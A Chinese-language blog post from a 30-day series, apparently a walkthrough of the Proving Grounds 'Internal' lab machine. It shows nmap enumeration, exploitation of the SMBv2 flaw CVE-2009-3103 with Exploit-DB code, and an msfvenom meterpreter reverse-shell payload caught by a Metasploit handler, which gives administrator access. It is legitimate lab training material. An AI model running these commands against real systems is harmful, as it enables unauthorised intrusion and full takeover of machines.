iT邦幫忙

2025 iThome 鐵人賽

DAY 19
0
Security

滲透探險 30 天:靶機挑戰記系列 第 19

PG Practice: Internal 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這個靶機開了什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.106.40 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.106.40 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.106.40 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.106.40 -type recon;

https://ithelp.ithome.com.tw/upload/images/20251002/20178791eHt3roxvSg.png
nmap 可以協助我們掃描看看 Port 的服務有什麼弱點,我們這邊發現了一個 smb 的弱點是 CVE 2009-3103

nmap -v -p 139,445 --script smb-vuln* 192.168.106.40

https://ithelp.ithome.com.tw/upload/images/20251002/20178791aN1SN1H61D.png

Initial Access & Privilege Escalation

從 exploit DB 上面, 我們可以找到 exploit code (https://www.exploit-db.com/exploits/40280 )
這邊我們利用 msfvenom 去產生一個含我們的 IP 跟 port 的二進位檔
並且移掉 b 這一個字元然後把 buf 取代成 shell
然後直接執行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.222 LPORT=443  EXITFUNC=thread  -f python
python 40280_mod.py 192.168.106.40

不過比較可惜的是他沒有辦法直接利用 nc 去產生一個互動式的 shell
再研究了一下這個 explore code 以後,發現了他有提到 stager_sysenter_hook from metasploit
我猜應該是要用 metasploit handler 去接這個 reverse shell 回來
https://ithelp.ithome.com.tw/upload/images/20251002/20178791P22h9pVBT4.png
https://ithelp.ithome.com.tw/upload/images/20251002/201787912HNctBDfB3.png
https://ithelp.ithome.com.tw/upload/images/20251002/20178791gy47DMDvAt.png

那現在我們就來設定 metasploit 的 muti handler

sudo msfconsole -q
use multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.45.222
set LPORT 443
run 

非常好! 就如我們想的一樣,這一個 exploit code 需要用 msfvenom handler 去接
而且一拿到這一個 reverse shell 以後,便發現了我們是 administrator 的身份
所以是時候去拿 flag 並且完成這臺靶機
https://ithelp.ithome.com.tw/upload/images/20251002/20178791nS0Ouj6Ox4.png
https://ithelp.ithome.com.tw/upload/images/20251002/20178791IOno2JhiLK.png


上一篇
PG Practice: Squid 攻略
下一篇
PG Practice: Zenphoto 攻略
系列文
滲透探險 30 天:靶機挑戰記21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言